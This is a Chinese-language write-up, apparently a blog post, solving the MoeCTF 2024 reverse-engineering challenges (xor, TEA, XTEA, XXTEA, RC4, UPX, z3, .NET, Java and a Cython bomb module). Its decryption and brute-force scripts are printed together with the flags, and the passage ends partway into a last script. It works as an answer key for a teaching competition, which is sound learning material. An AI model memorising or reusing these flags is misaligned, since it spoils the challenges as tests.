2024-MOECTF

RE

xor

先用exeinfo查看exe文件

image-20240810090302670

得知是64位的c编译的文件,就拿ida去反编译

image-20240810090608094

大致的解密思路就是用数组里面的密文去异或0x24,直接写py脚本

找到密文所在位置

image-20240810090906624

1
2
3
4
5
6
7
8
9
10
cipher=[0x49, 0x4B, 0x41, 0x47, 0x50, 0x42, 0x5F, 0x41, 0x1C, 0x16,
0x46, 0x10, 0x13, 0x1C, 0x40, 0x09, 0x42, 0x16, 0x46, 0x1C,
0x09, 0x10, 0x10, 0x42, 0x1D, 0x09, 0x46, 0x15, 0x14, 0x14,
0x09, 0x17, 0x16, 0x14, 0x41, 0x40, 0x40, 0x16, 0x14, 0x47,
0x12, 0x40, 0x14, 0x59]
flag=""
for i in range(0,len(cipher)):
flag+=chr(cipher[i]^0x24)

print(flag)

image-20240810091009695

TEA

查看文件位数

image-20240810091203700

去ida反编译

image-20240810092122681

发现是tea加密算法(好像被改过了),去参考https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm

接下来写解密脚本,这边有一个坑就是要注意ida当中的整数的位数,默认是32,所以在写解密脚本的时候也要关注整数变量的位数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from ctypes import *
flag="moectf{xxxxxxxx-yyyy-zzzz-9c42-caf30620caaf}"
v3=c_uint32(-1640531527*32)
v4=c_uint32(676078132)
v5=c_uint32(957400408)
for i in range(0,32):
v5.value -= (v4.value + v3.value) ^ (16 * v4.value + 1634038898) ^ ((v4.value >> 5) + 1634038904)
v4.value -= (v5.value + v3.value) ^ (16 * v5.value + 1702060386) ^ ((v5.value >> 5) + 1870148662)
v3.value+=1640531527
flag=flag.replace("xxxxxxxx",str(hex(v4.value)).replace("0x",""))
flag=flag.replace("yyyy",str(hex(v5.value)).replace("0x","")[0:4])
flag=flag.replace("zzzz",str(hex(v5.value)).replace("0x","")[4:])
print(flag)
#moectf{836153a5-8e00-49bd-9c42-caf30620caaf}

SecretModule

可能被我非预期了

直接查看customize.sh文件,解密其中的base,得到shell脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
testk() {
echo "Welcome to the Secret module!But before you begin,you need to prove your self."
(/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events) || return 1
return 0
}

choose() {
while true; do
/system/bin/getevent -lc 1 2>&1 | /system/bin/grep VOLUME | /system/bin/grep " DOWN" > $MODPATH/events
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUME >/dev/null`); then
break
fi
done
if (`cat $MODPATH/events 2>/dev/null | /system/bin/grep VOLUMEUP >/dev/null`); then
echo "114514"
else
echo "1919810"
fi
}

if testk; then
ui_print "Great! Now enter the secret."

else
ui_print "Legacy Device. Use a newer device to do this challenge"
exit
fi

concatenated=""

for i in 1 2 3 4 5 6 7
do
result=$(choose)
concatenated="${concatenated}${result}"
done

input_str=$(echo -n $concatenated | md5sum | awk '{print $1}')
sec="77a58d62b2c0870132bfe8e8ea3ad7f1"
if test $input_str = $sec
then
echo 'You are right!Flag is'
echo "moectf{$concatenated}"
else
echo 'Wrong. Try again.'
exit
fi

大致意思是说根据你的7次不同的操作要么在字符串中拼接“114514”,要么拼接“1919810”,拼接后的字符串的md5为77a58d62b2c0870132bfe8e8ea3ad7f1的话,包裹上moectf就是flag了,直接用python脚本遍历2^7种所有的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import itertools
import hashlib


def process_combination(combination):

result = ''.join('114514' if event == 'VOLUMEUP' else '1919810' for event in combination)
return result

# 计算 MD5 哈希
def calculate_md5(input_str):
return hashlib.md5(input_str.encode()).hexdigest()


def generate_combinations(length):
choices = ['VOLUMEUP', 'VOLUMEDOWN']
for combination in itertools.product(choices, repeat=length):
yield combination
def main():
length = 7
target_md5 = '77a58d62b2c0870132bfe8e8ea3ad7f1'
for combination in generate_combinations(length):
concatenated_result = process_combination(combination)
input_md5 = calculate_md5(concatenated_result)

if input_md5 == target_md5:
print(f'You are right! Flag is moectf{{{concatenated_result}}}')
break
else:
print('No matching combination found.')

if __name__ == "__main__":
main()
#You are right! Flag is moectf{114514114514191981011451411451419198101919810}

逆向工程入门指北

image-20240810104507232

逆向工程进阶之北

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from ctypes import *
from Crypto.Util.number import *
from gmpy2 import *
from libnum import *
cipher=[0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 ,
0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81]
d=invert(3439311803,4294967296)
xor=0xdeadbeef + 0xd3906
flag=""
for i in range(len(cipher)):
key=(cipher[i]^xor)-0xdeadc0de
if key<0:
key+=0xffffffff+1
key=(key*d)%4294967296
flag=flag+n2s(int(key)).decode()[::-1]
print(flag)

这边注意先加减后异或的运算顺序,因为python没有防止溢出的机制,所以得自己判断32位的溢出

Cython-Strike: Bomb Defusion

题目给了pyd文件,那就直接import

然后执行一下help方法,注意源文件文件名我并没更改

1
2
import bomb_defuse
help(bomb_defuse)moectf{CoUnter_TerR0rists_w1n}

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
Help on module bomb:

NAME
bomb - Defuse the bomb to get flag

CLASSES
builtins.object
Bomb
defuse_kit.DefuseKit

class Bomb(builtins.object)
| There may be a kit which can be used to defuse the bomb
|
| Methods defined here:
|
| __str__(self, /)
| Return str(self).
|
| enter_pwd(...)
| Enter the password to defuse the bomb
|
| params:
| pwd: the password you want to enter
|
| return: the flag if the password is correct
|
| ----------------------------------------------------------------------
| Static methods defined here:
|
| __new__(*args, **kwargs) from builtins.type
| Create and return a new object. See help(type) for accurate signature.
|
| ----------------------------------------------------------------------
| Data descriptors defined here:
|
| mask
| Mask of the bomb
|
| state
| State of the bomb

class DefuseKit(builtins.object)
| This class represents a defuse kit used to connect to and defuse a bomb.
| It allows you to interface with the bomb's inst ram which is necessary for safe defusal.
|
| Methods defined here:
|
| __init__(self, /, *args, **kwargs)
| Initialize self. See help(type(self)) for accurate signature.
|
| read_memory(...)
| Read data from the inst ram
|
| params:
| address: address to read from
| type : optional, "byte" or "char", the default is "byte"
|
| return: the data
|
| ----------------------------------------------------------------------
| Static methods defined here:
|
| __new__(*args, **kwargs) from builtins.type
| Create and return a new object. See help(type) for accurate signature.
|
| ----------------------------------------------------------------------
| Data descriptors defined here:
|
| bomb
| Bomb object

FILE
f:\ctf\2024complete\8\moectf\re\cs2\bomb_defuse-1.14-cp312-cp312-win_amd64 - 副本\bomb_defuse.cp312-win_amd64.pyd

发现我们其实得到了类似伪代码的结果,我们大致理一下这个伪代码

1
2
3
4
5
6
7
8
Class bomb:
self.mask
self.state
def enter_pwd(pwd):
Class DefuseKit:
__init__(bomb)
self.bomb
def read_memory(address,type=byte)

我们先去DefuseKit看看bomb变量的值

1
2
3
4
5
import bomb_defuse
help(bomb_defuse)
bomb1=bomb_defuse.Bomb()
kit=bomb_defuse.DefuseKit(bomb1)
print(kit.bomb)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Your defusekit has successfully connected to the bomb! The wire are tangled, but you've found the bomb's inst ram!
Scanning through the inst ram...
We've got access to some juicy data. Time to defuse!
tip: use read_memory method to read data from the inst ram
.------.--------.---------.
| .=====================. |\
| | 7 3 5 5 6 0 8 | | |
| +=====================+ | |
|----------------------\\-. |
| * | ^|^ || |\|
| .-----------------.|| | |
| | 1 | 2 | 3 ||| | |
| |-----+-----+-----||| | |
| | 4 | 5 | 6 ||| | |
| |-----+-----+-----||| | |
| | 7 | 8 | 9 ||| | |
| |-----+-----+-----|// | |
| | * | X | # |/ | |
| +-----------------+ | |
| | | | |
+-------+-------+---------+ |
\_______\_______\_________\|

Bomb state: planted

发现说让我们用read_memory遍历去读取内存,那我们就按它说的做

1
2
3
4
5
6
7
8
9
10
11
12
13
import bomb_defuse
help(bomb_defuse)
bomb1=bomb_defuse.Bomb()
kit=bomb_defuse.DefuseKit(bomb1)
print(kit.bomb)
for k in range(0x0,0x3ff+1)://超过0x3ff会提示你范围在0-0x3ff
try:
data=kit.read_memory(k)
if data!=0x0:
flag=flag+data
except:
pass
print(flag)
1
0x230x640x650x690x650x200x4d0x410x580x5f0x200x300x780x660x660x660x660x660x660x750x6e0x730x690x670x6e0x640x200x690x6e0x740x200x6d0x610x3b0x690x6e0x740x200x700x610x6e0x740x5f0x620x620x280x750x6e0x730x690x670x6e0x650x640x200x690x6e0x740x200x690x6e0x700x750x740x290x7b0x690x660x200x690x6e0x700x750x740x200x3c0x3d0x200x4d0x410x580x5f0x290x200x7b0x6d0x610x200x3d0x200x690x6e0x700x750x740x3b0x720x750x720x6e0x200x300x3b0x7d0x200x650x730x650x7b0x720x650x740x6e0x200x2d0x310x3b0x7d0x200x7d0x760x6f0x690x640x200x650x780x700x6c0x640x650x5f0x620x6d0x6f0x690x640x290x7b0x760x6f0x690x640x200x640x650x660x650x5f0x6d0x620x280x760x690x640x290x7b0x7d0x630x680x650x630x6b0x5f0x700x640x280x750x6e0x730x670x6e0x650x640x690x6e0x740x200x690x6e0x750x290x7b0x690x660x280x690x6e0x700x750x740x3e0x200x4d0x410x580x5f0x290x7b0x650x780x700x6c0x6f0x640x650x5f0x620x620x280x290x3b0x7d0x690x660x280x280x690x6e0x740x200x5e0x200x6d0x610x200x3d0x3d0x200x310x310x340x290x200x260x260x200x280x690x6e0x700x750x740x200x3c0x3c0x200x280x6d0x610x200x250x200x350x290x200x2b0x200x310x200x3d0x3d0x200x360x300x350x370x380x370x330x360x290x290x7b0x640x650x660x750x730x650x5f0x620x620x280x290x3b0x720x750x720x6e0x7d0x650x780x700x6c0x6f0x640x650x5f0x620x620x280x290x3b0x720x650x740x750x3b0x7d0x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0

去解密一下得到

image-20240816154451057

找到关键的代码

1
if((int ^ ma == 114) && (input << (ma % 5) + 1 == 60578736)){defuse_bb();rurn}explode_bb();retu;}

我们猜测和mask有关系,就先去查看bomb类中的mask

1
2
3
import bomb_defuse
mas=bomb1.mask
print(mas)

得到mask是7355608,仔细分析if里的条件,注意第一个条件其实是int ^ (ma == 114)注意运算顺序!!!所以关键是根据第二个条件进行爆破

1
2
3
4
5
mask=7355608
for ipu in range(0x0,0xffffff+1):
pwd1 = (ipu << (7355608 % 5) + 1)
if pwd1==60578736:
print(ipu)

得到密码3786171

再去解炸弹

1
2
3
4
5
6
7
import bomb_defuse
help(bomb_defuse)
bomb1=bomb_defuse.Bomb()
kit=bomb_defuse.DefuseKit(bomb1)
print(kit.bomb)
diff=bomb1.enter_pwd(3786171)
print(diff)

得到flag

UPX

直接用upx -d脱壳,然后放入ida,shift+f12看所有字符串

image-20240818093119245

upx-revenge

UPX脱壳,只是要010要修改一点东西

image-20240818103344425

然后用upx -d脱壳

image-20240818103427699

去ida查看

image-20240818103510717

直接得到flag

moedaily

比较恶心的一题逆向题,大致思路是对你输入的flag每四位进行一个128的循环加密,它恶心就恶心在加密过程要自己推,不是直接全给你,以下是我推出来的加密过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
int main(){
unsigned int a[37]={0},b[37]={0},c[37]={0},d[19]={0},e[19]={0},f[19]={0};
a[3]=114514;
d[2]=1919810;
a[2]=1667592045;//明文
b[2]=2105239156;//明文
c[2]=114514;
e[2]=415144;
f[2]=19883 ;

for(int big_circle=1;big_circle<3;big_circle++){
b[3]=( (( (b[2]<<4 )+ c[2] )^( ( b[2]+a[3] ) ^( (b[2]>>5)+d[2] )) ) + a[2])&4294967295U;
c[3]=( (((b[3]<<4)+ e[2])^((b[3]+a[3])^((b[3]>>5)+f[2])))+b[2])&4294967295U;
a[4]=a[3]+114514;
for(int circle=4;circle<35;circle++){
if(circle<20){
a[circle+1]=a[circle]+114514;
b[circle]=( (( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) ) +b[circle-1])&4294967295U;
c[circle]=( (((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])))+c[circle-1])&4294967295U;
printf("%u,%u\n",b[circle],c[circle]);
}
else if(circle>=20&&circle<35){
a[circle+1]=a[circle]+114514;
b[circle]=( (( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) ) +b[circle-1])&4294967295U;
c[circle]=( (((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])))+c[circle-1])&4294967295U;
printf("%u,%u\n",b[circle],c[circle]);
}

}
a[2]=b[34];
b[2]=c[34];
}

// printf("%u,%u",b[18],c[18]);
return 0;
}

根据这个加密去写解密就方便许多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
int main(){
unsigned int a[37]={0},b[37]={0},c[37]={0},d[19]={0},e[19]={0},f[19]={0},cypher[12]={1397140385,2386659843,962571399,3942687964,3691974192,863943258,216887638,3212824238,3802077983,1839161422,1288683919,3222915626};
a[3]=114514;
d[2]=1919810;
a[2]=1667592045;//明文
b[2]=2105239156;//明文
// b[34]=1288683919;//密文
// c[34]=3222915626;//密文
c[2]=114514;
e[2]=415144;
f[2]=19883 ;
for(int i=4;i<37;i++){
a[i]=a[i-1]+114514;
}
for(int large_circle=0;large_circle<12;large_circle+=2){
b[34]=cypher[large_circle];
c[34]=cypher[large_circle+1];
for(int big_circle=1;big_circle<3;big_circle++){
for(int circle=34;circle>=4;circle--){
if(circle>=20&&circle<35){
c[circle-1]=(c[circle]&4294967295U)-(((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])));
b[circle-1]=(b[circle]&4294967295U)-(( (c[circle-1]<<4 )+ c[2] )^(( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2])));
// printf("%u,%u\n",b[circle-1],c[circle-1]);
}
if(circle<20){
c[circle-1]=(c[circle]&4294967295U)-(((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])));
b[circle-1]=(b[circle]&4294967295U)-(( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) );
// printf("%u,%u\n",b[circle-1],c[circle-1]);
}
}
b[2]=(c[3]&4294967295U)-(((b[3]<<4)+ e[2])^((b[3]+a[3])^((b[3]>>5)+f[2])));
a[2]=(b[3]&4294967295U)-(( (b[2]<<4 )+ c[2] )^( ( b[2] + a[3] ) ^ ( (b[2]>>5)+d[2] )) );
b[34]=a[2];
c[34]=b[2];

}
// printf("%u,%u\n",a[2],b[2]);
int flag1[4],flag2[4];
for(int i=0;i<4;i++){
flag1[i]=a[2]%256;
a[2]=a[2]/256;
flag2[i]=b[2]%256;
b[2]=b[2]/256;
}
for(int i=0;i<4;i++){
printf("%c",flag1[i]);
}
for(int i=0;i<4;i++){
printf("%c",flag2[i]);
}
}

//moectf{3xC3l_1S_n0t_just_f0r_d41ly_w0rk_bu7_R3V}




//
// for(int big_circle=1;big_circle<3;big_circle++){
// b[3]=( (( (b[2]<<4 )+ c[2] )^( ( b[2] + a[3] ) ^ ( (b[2]>>5)+d[2] )) ) + a[2])&4294967295U;
// c[3]=( (((b[3]<<4)+ e[2])^((b[3]+a[3])^((b[3]>>5)+f[2])))+b[2])&4294967295U;
// a[4]=a[3]+114514;
// for(int circle=4;circle<35;circle++){
// if(circle<20){
// a[circle+1]=a[circle]+114514;
// b[circle]=( (( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) ) +b[circle-1])&4294967295U;
// c[circle]=( (((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])))+c[circle-1])&4294967295U;
// printf("%u,%u\n",b[circle],c[circle]);
// }
// else if(circle>=20&&circle<35){
// a[circle+1]=a[circle]+114514;
// b[circle]=( (( (c[circle-1]<<4 )+ c[2] )^( ( c[circle-1] + a[circle] ) ^ ( (c[circle-1]>>5)+d[2] )) ) +b[circle-1])&4294967295U;
// c[circle]=( (((b[circle]<<4)+ e[2])^((b[circle]+a[circle])^((b[circle]>>5)+f[2])))+c[circle-1])&4294967295U;
// printf("%u,%u\n",b[circle],c[circle]);
// }
//
// }
// a[2]=b[34];
// b[2]=c[34];
// }

// printf("%u,%u",b[18],c[18]);
return 0;
}

总之这个题目肝了三小时代码

babe-z3

z3方程求解,先正常脱壳,放进ida查看

image-20240818185405155

根据最后一个if可以知道我们只要求解满足红框内的方程的v11,v12,v13和s即可,直接用python的z3库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from z3 import *
from libnum import *
import gmpy2
# 创建 Z3 变量
v11 = BitVec('v11', 64)
v12 = BitVec('v12', 64)
v13 = BitVec('v13', 64)
s = BitVec('s', 64)
mod1 = BitVecVal(0x1BF52, 64) # 0x1BF52
mod2 = BitVecVal(0x1D4B42, 64) # 0x1D4B42
# 定义表达式
expr = v11 ^ (v12 & (s + v12) | v13 & ~(v12 & s) | v11 & (v11 + v13) & ~s)
exper1 = v12 & v13 ^ (v11 | ~(v13 + v11)) & s & v12
exper2 = (v12 - v13) ^ (s - v11)
exper3 = (s + v12 - v13 + v11) * (v13 + s + v11 - v12)
exper4 = (v12 + v11 + s + v13) % mod1
exper5 = (v13 * v12 * v11 * s) % mod2
exper6 = v12 & s & v13 | (~(v11 | s) | v11 & v12) & v11 & s

target = BitVecVal(0x7071001344417B54, 64)
target1 = BitVecVal(0xD81AC01FBBA91837, 64)
target2 = BitVecVal(0x03FE01013130FFD3, 64)
target3 = BitVecVal(0x1989A41A9049C5C9, 64)
target4 = BitVecVal(21761, 64)
target5 = BitVecVal(827118, 64)
target6 = BitVecVal(0x2024243035302131, 64)
# 创建求解器
solver = Solver()
# 添加约束(等式)
solver.add(expr == target,

exper2 == target2,
exper3 == target3,
exper4 == target4,
exper5 == target5,
exper6 == target6)
# 检查是否有解
if solver.check() == sat:
model = solver.model()
v11_val = int(model[v11].as_long())
v12_val = int(model[v12].as_long())
v13_val = int(model[v13].as_long())
s_val = int(model[s].as_long())
print(f'v11 = {v11_val}')
print(f'v12 = {v12_val}')
print(f'v13 = {v13_val}')
print(f's = {s_val}')
print(n2s(s_val)[::-1],n2s(v11_val)[::-1],n2s(v12_val)[::-1],n2s(v13_val)[::-1],end='')

else:
print("No solution found.")
#9c0525dcbadf4cbd9715067159453e74

注意解出来的数字通过n2s函数转成字符串同时还要逆序一下,因为v11,v12,v13和s都不是用char类型读取出来的,都是小端序,但是flag读进去的时候根据ida可知使用char类型读入的,所以要逆序一下

moectf{9c0525dcbadf4cbd9715067159453e74}

dynamic

直接动态调试进入第一个加密函数查看a1数组的值

image-20240819123342129

xtea

image-20240820192947455

动调可以知道,明文一共12位,第一次对前面的8位进行了加密,第二次对后面的8位进行了加密。实际上中间的8位加密了两次,根据这个再加上xtea算法就可以得到exp,我分别写了c和python的exp,其中c的exp自己还需额外将16进制转成字符,python则直接出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
int main(){
unsigned int cipher[12]={0xA3, 0x69, 0x96, 0x26, 0xBD, 0x78, 0x0B, 0x3D, 0x9D, 0xA5, 0x28, 0x62},v12[4]={2,0,2,4},v10=32,v7=-855655493*32;
unsigned int v14[3]={0x269669a3,0x3d0b78bd,0x6228a59d};
unsigned int v5,v6;
v5=v14[1];
v6=v14[2];
for(int circle=0;circle<2;circle++){
v7=-855655493*32;
for(int i=0;i<32;++i){
v6 -= (v12[((v7>>11)&3)]+v7)^(v5 + ((v5 >> 5) ^ (16 * v5)));
v7 += 855655493;
v5 -= (v12[(v7&3)]+v7)^(v6 + ((v6 >> 5) ^ (16 * v6)));
// printf("%x\n",v7);
}
if(circle==0){
printf("%x,",v6);
}
else{
printf("%x,%x",v5,v6);
}
v6=v5;
v5=v14[0];
}


return 0;

}
//moectf2024!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from ctypes import *
from libnum import *
def decrypt(m1,m2, k):
v0 = c_uint32(m1)
v1 = c_uint32(m2)
delta = -855655493
sum1 = c_uint32(delta * 32)
for i in range(32):
v1.value -= (((v0.value << 4) ^ (v0.value >> 5)) + v0.value) ^ (sum1.value + k[(sum1.value >> 11) & 3])
sum1.value += 855655493
v0.value -= (((v1.value << 4) ^ (v1.value >> 5)) + v1.value) ^ (sum1.value + k[sum1.value & 3])
return v0.value, v1.value


if __name__ == '__main__':
a = [0x269669a3,0x3d0b78bd,0x6228a59d]
k = [2, 0, 2, 4]
flag2,flag3=decrypt(a[1],a[2],k)
flag1,flag2=decrypt(a[0],int(flag2),k)
print("解密后数据:", n2s(int(flag1))[::-1]+n2s(int(flag2))[::-1]+n2s(int(flag3))[::-1])

其中要注意的是汇编中的对数组的操作

image-20240820193306719

汇编中的x4不用在解密中体现,因为汇编中的数组按字节进行移动而数组是dword所以对偏移量要x4表示一下子移动四个字节

d0tN3t

dll的逆向题目使用dnSpy工具去逆向

image-20240821100447344

得到反编译的代码,根据这个去逆向

1
2
3
4
5
6
cipher=[173, 146, 161, 174, 132, 179, 187, 234, 231, 244, 177, 161, 65, 13, 18, 12, 166, 247, 229, 207, 125, 109, 67, 180, 230, 156, 125, 127, 182, 236, 105, 21, 215, 148, 92, 18, 199, 137, 124, 38, 228, 55, 62, 164]
flag=""

for i in range(0,len(cipher)):
flag += chr((cipher[i]^((i*i)%256)^114)-114)
print(flag)

rc4

非常简单的一题常规的rc4

image-20240821110821895

因为是常规的rc4,所以我这边直接上大厨解了

image-20240821110851977

下面是用脚本解的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#include<stdio.h>
/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}

/*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t];
}
}
int main()
{
//字符串密钥
unsigned char key[] = "RC4_1s_4w3s0m3";
unsigned long key_len = sizeof(key) - 1;
//数组密钥
//unsigned char key[] = {};
//unsigned long key_len = sizeof(key);

//加解密数据
unsigned char data[] = {
0xA7, 0x1A, 0x68, 0xEC, 0xD8, 0x27, 0x11, 0xCC, 0x8C, 0x9B,
0x16, 0x15, 0x5C, 0xD2, 0x67, 0x3E, 0x82, 0xAD, 0xCE, 0x75,
0xD4, 0xBC, 0x57, 0x56, 0xC2, 0x8A, 0x52, 0xB8, 0x6B, 0xD6,
0xCC, 0xF8, 0xA4, 0xBA, 0x72, 0x2F, 0xE0, 0x57, 0x15, 0xB9,
0x24, 0x11
};
//加解密
rc4_crypt(data, sizeof(data), key, key_len);

for (int i = 0; i < sizeof(data); i++)
{
printf("%c", data[i]);
}
printf("\n");
return 0;
}

image-20240821111204182

xxtea

没啥魔改,正常的xxtea,密钥题目有写,直接逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#define delta -1640531527

int main()
{
unsigned int v[9] = {0x78e1f564, 0xa835f0e1, 0x0512ff34, 0xb0e913fb, 0x89b9a350, 0xc943dab1, 0x01dbc84f, 0xaf16db20, 0x961767ed};
unsigned int key[4] = {0x63656f6d, 0x30326674, 0x21213432, 3439311803};
unsigned int sum = 0;
unsigned int y,z,p,rounds,e;
int n = 9;
int i = 0;
rounds = 6 + 52/n;
y = v[0];
sum = rounds*delta;
do
{
e = sum >> 2 & 3;
for(p=n-1;p>0;p--)
{
z = v[p-1];
v[p] -= ((((z>>5)^(y<<2))+((y>>3)^(z<<4))) ^ ((key[(p&3)^e]^z)+(y ^ sum)));
y = v[p];
}
z = v[n-1];
v[0] -= (((key[(p^e)&3]^z)+(y ^ sum)) ^ (((y<<2)^(z>>5))+((z<<4)^(y>>3))));
y = v[0];
sum = sum+1640531527;
}while(--rounds);

for(i=0;i<n;i++)
{
printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));
//printf("%c%c%c%c",*((char*)&v[i]+3),*((char*)&v[i]+2),*((char*)&v[i]+1),*((char*)&v[i]+0));
}
return 0;
}

逆向的时候注意大小端序!!

image-20240821132436496

moejvav

jadx逆向,但是有点不准确,直接用idea逆向是准确的

image-20240821154223945

应该把i++放到if之后,整个脚本的大致意思就是根据他提供的一些像机器码的东西来验算你输入的flag,我进行了两种解题方法,直接爆破flag输入和直接逆向方法

直接爆破的exp,没什么好说的,逻辑一样只需要不断累加flag里的字符就行,特别需要关注最后转成字符的时候根据题目还需要逆向一下并且可能出现在256下互补的情况!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import string

